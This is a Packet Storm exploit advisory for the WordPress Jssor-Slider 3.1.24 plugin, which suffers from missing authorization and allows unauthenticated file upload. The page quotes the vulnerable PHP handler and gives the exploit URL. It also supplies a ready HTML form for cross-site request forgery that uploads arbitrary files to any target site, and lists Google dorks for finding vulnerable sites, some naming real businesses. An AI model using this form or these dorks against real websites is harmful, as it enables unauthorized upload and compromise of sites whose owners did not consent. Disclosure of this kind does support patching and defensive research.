what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Jssor-Slider 3.1.24 Cross Site Request Forgery / File Upload

WordPress Jssor-Slider 3.1.24 Cross Site Request Forgery / File Upload
Posted Feb 14, 2019
Authored by KingSkrupellos

WordPress Jssor-Slider plugin version 3.1.24 suffers from cross site request forgery and remote file upload vulnerabilities.

tags | exploit, remote, vulnerability, file upload, csrf
SHA-256 | 4e5ec89d243458ded11b3a5410778f396b0f09bffeb8a9b6b43aeee55cdff04a

WordPress Jssor-Slider 3.1.24 Cross Site Request Forgery / File Upload

Change Mirror Download
##########################################################################

# Exploit Title : WordPress Jssor-Slider Plugins 3.1.24 CSRF Arbitrary File Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/02/2019
# Vendor Homepage : jssor.com ~ drcsystems.com ~ ethicsolutions.com
# Software Download Link : downloads.wordpress.org/plugin/jssor-slider.3.1.24.zip
# Software Information Link : wordpress.org/plugins/jssor-slider/
# Software Affected Version : 3.1.24 and previous versions
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/jssor-slider/''
# Vulnerability Type : CWE-284 [ Improper Access Control ] - CWE-862 [ Missing Authorization ]
# CXSecurity Reference Link : cxsecurity.com/ascii/WLB-2018060226
# Cyberizm Reference Link : cyberizm.org/cyberizm-wordpress-drcsystems-ethicsolutions-jssorslider-exploit.html

##########################################################################

# Description About Software :
****************************
Description : Jssor Slider by jssor.com is open source software.

Jssor Slider is professional, light weight and easy to use
slideshow/slider/gallery/carousel/banner, it is optimized for mobile device with tons of unique features.

# Key Features :

Touch Swipe - 200+ Slideshow Transitions - Layer Animation -
Fast Loading, load slider html code from disk cache directly -
High Performance Light Weight - Easy to Use - Repeated Layer Animation -
Image Layer - Text/Html Layer - Panel Layer - Nested Layer -
Layer Blending - Clip Mask - Multiplex Transition - z-index Animation -
Timeline Break - Dozens of bullet/arrow/thumbnail skins

##########################################################################

# Google Dorks :
*********************

inurl:''/wp-content/jssor-slider/jssor-uploads/''

intext:''Managed by Web development company Ethic Solutions''

intext:''Todos los derechos reservados (c) Ecuaauto - Distribuidor autorizado Chevrolet Ecuador''

intext:''Website Developed by DRC Systems''

##########################################################################

Vulnerable Source Code :
************************
When the plugin is active the function register_ajax_calls() in the file /lib/jssor-slider-class.php is run:

That gives anyone access to two AJAX functions that are only intended to be accessible to those logged in as Administrators.
The upload_library() function accessible through that handles uploading a file through /lib/upload.php.
That file also doesnt do any checks as to who is making the request and does not restrict what type of files can be uploaded.
It is also possible to exploit this by sending a request directly to the file /lib/upload.php, as long as the undefined constant in that isnt treated as an error.
The following proof of concept will upload the selected file to the directory /wp-content/jssor-slider/jssor-uploads/.
Make sure to replace [path to WordPress] with the location of WordPress.

public function register_ajax_calls() {

if ( isset( $_REQUEST['action'] ) ) {
switch ( $_REQUEST['action'] ) {
case 'add_new_slider_library' :
add_action( 'admin_init', 'jssor_slider_library' );
function jssor_slider_library() {

include_once JSSOR_SLIDER_PATH . '/lib/add-new-slider-class.php';
}
break;
case 'upload_library' :
add_action( 'admin_init', 'upload_library' );
function upload_library() {

include_once JSSOR_SLIDER_PATH . '/lib/upload.php';
}
break;
}
}
}


#####################################################################################################

# Exploit :
***********

/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library

# Error : {"jsonrpc" : "2.0", "result" : null, "id" : "id"}

# Exploit Code CSRF Cross Site Request Forgery :
*********************************************

<html>
<body>
<form action="http://[PATH]/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library" method="POST" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>
</html

# Uploaded File Path :
********************

/wp-content/jssor-slider/jssor-uploads/.....

# Allowed File Extensions : With the exception of php and asp. [ Not Allowed ]

But other files extensions are allowed. For example html and txt and etcetra....

# Usage : Use with XAMPP Control Panel and with your Localhost [ 127.0.0.1]

localhost/jssorsliderexploiter.html

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close